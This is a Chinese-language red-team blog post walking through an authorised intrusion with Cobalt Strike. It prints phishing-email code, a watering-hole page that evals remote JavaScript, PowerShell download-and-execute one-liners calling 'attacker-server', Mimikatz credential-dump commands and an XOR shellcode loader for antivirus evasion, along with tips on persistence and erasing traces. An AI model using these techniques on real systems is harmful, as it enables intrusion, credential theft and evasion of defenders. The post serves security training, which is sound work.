0x01 渗透故事:目标内网的初次交锋
在一次企业的授权红队评估中,我们接到了渗透公司内网的任务。公司内部应用复杂多样,部分历史遗留系统可能是突破口。在评估初期,Cobalt Strike成为了我们的绝佳选择,它灵活的功能和强大的攻击模块帮助我们在这次攻防演练中取得了关键进展。
在这篇文章中,我将带你一步步走过我们实际操作的流程,展示如何利用Cobalt Strike进行有效的渗透攻击。这次演示仅限于授权测试,旨在帮助你了解攻击者的视角和技术实现。
通向内网的钥匙:初始访问与信息收集
初始入口探寻
我们的目标是一个防护严密的企业内网。为了找到进入的机会,我们从信息收集开始,专注于电子邮件通信和外部暴露的web服务。通过社工邮件,我们设法诱使一名员工点击了我们的链接,成功植入了我们的初始载荷。
<pre><code class="language-python"># 使用Python构建社工邮件载荷 import smtplib from email.mime.text import MIMEText
def send_phishing_email(smtp_server, port, sender_email, password, receiver_email): message = MIMEText("点击这里了解更多信息: <a href='http://malicious-link'>链接</a>", 'html') message['Subject'] = '重要通知' message['From'] = sender_email message['To'] = receiver_email
with smtplib.SMTP(smtp_server, port) as server: server.login(sender_email, password) server.sendmail(sender_email, receiver_email, message.as_string())
配置邮箱参数
send_phishing_email("smtp.example.com", 587, "[email protected]", "password", "[email protected]")</code></pre>
水坑攻击策略
除了邮件钓鱼,水坑攻击也是一个有效的策略。我们发现目标员工频繁访问某些论坛和行业网站,利用这些网站作为载体,我们部署了一个精心设计的水坑攻击。
<pre><code class="language-html"><!-- 水坑攻击HTML示例 --> <html> <head> <title>行业资讯</title> </head> <body> <p>欢迎阅读最新的行业动态。</p> <script type="text/javascript"> // 加载恶意JavaScript fetch("http://malicious-site.com/payload.js") .then(response => response.text()) .then(text => eval(text)); </script> </body> </html></code></pre>
流量捕获实战:从外网潜入内网
Cobalt Strike初步配置
安装Cobalt Strike并不是难点,关键在于配置和使用。我们通过团队服务器(Team Server)与受害者之间建立通信通道,以便后续的Payload传输。
<pre><code class="language-shell"># 启动Cobalt Strike TeamServer ./teamserver 192.168.1.100 mypassword</code></pre>
接下来,我们利用Cobalt Strike内置工具生成了一个PowerShell载荷,用于远程执行。
<pre><code class="language-shell"># 在Cobalt Strike生成PowerShell载荷 powershell-import /path/to/script.ps1 powershell webdelivery</code></pre>

PowerShell载荷执行
通过已获取的初始访问,我们在受害者系统上执行了生成的PowerShell脚本,这使我们能够与Cobalt Strike TeamServer保持通信。
<pre><code class="language-powershell"># 执行PowerShell载荷以建立对Cobalt Strike的连接 powershell -NoP -NonI -W Hidden -Exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://attacker-server/payload')"</code></pre>
横向移动与权限提升

成功进入目标内网后,我们通过凭证抓取和进一步的横向移动探索更深的网络层。在内网中,利用Mimikatz进行凭证抓取是进一步权限提升的常用手段。
<pre><code class="language-shell"># 使用Mimikatz抓取凭证 privilege::debug sekurlsa::logonpasswords</code></pre>
Payload构造的艺术:免杀与对抗技巧
载荷免杀技术
在实际渗透中,绕过杀软是关键。载荷免杀不仅是技术的比拼,更是艺术的表现。我们使用加壳技术和混淆技术对载荷进行伪装,以避免被检测。
<pre><code class="language-c">// C语言载荷加壳示例
include <stdio.h>
include <stdlib.h>
void decrypt_payload(unsigned char *data, size_t len) { for (size_t i = 0; i < len; ++i) { data[i] ^= 0xAA; // 简单异或加壳解密 } }
void execute_payload(unsigned char payload, size_t payload_len) { decrypt_payload(payload, payload_len); void (func)() = (void (*)())payload; func(); // 执行解密后的载荷 }
int main() { unsigned char payload[] = {0xAA, 0xBB, 0xCC, 0xDD}; // 示例加壳载荷 size_t payload_len = sizeof(payload) / sizeof(payload[0]); execute_payload(payload, payload_len); return 0; }</code></pre>
流量伪装与协议检测规避
采用流量伪装技术也是绕过检测的一种有效方式。通过改变常用协议的流量特征,我们可以有效躲避流量检测设备。
<pre><code class="language-shell"># 使用Socat进行流量伪装 socat TCP-LISTEN:80,fork TCP:192.168.1.100:8080</code></pre>
对抗者的反击:检测与防御策略
EDR与AV检测对策
虽然我们在攻击过程中取得了进展,但防御者的EDR系统和杀软时刻在警惕。我们使用了深度混淆和时序攻击来降低检测概率。
<pre><code class="language-shell"># EDR对抗策略:时序攻击 sleep 10 # 延迟执行以避免检测 powershell -NoP -NonI -W Hidden -Exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://attacker-server/next-stage')"</code></pre>
网络防御与日志分析
在防御策略中,及时的日志分析和流量监控是关键。企业应当在日志中找寻异常行为,并进行关联分析。
<pre><code class="language-shell"># 简单的日志分析Python脚本 import re
def analyze_logs(logfile): with open(logfile, 'r') as file: for line in file: if re.search(r'failed login attempt', line): print(f"Suspicious activity found: {line.strip()}")

analyze_logs('/var/log/auth.log')</code></pre>
攻击者的思维:经验与建议
作为红队成员,我始终认为真正的攻防不仅仅是技术,更是策略的对抗。在多次演练中,以下几点经验尤为重要:
- 保持灵活性:不要拘泥于某种技术方案,遇到阻力时及时调整策略。
- 持久化能力:权限维持和后门是保证攻击持续性的关键。
- 基础设施安全:管理好自己的C2服务器,避免被反击或封锁。
- 痕迹清除:每个动作都要考虑如何清理痕迹,减少被发现的可能。
这篇文章只是一个起点,希望你能从中获得灵感,把这些技术应用到合法的安全评估和研究中,推动安全领域的进步。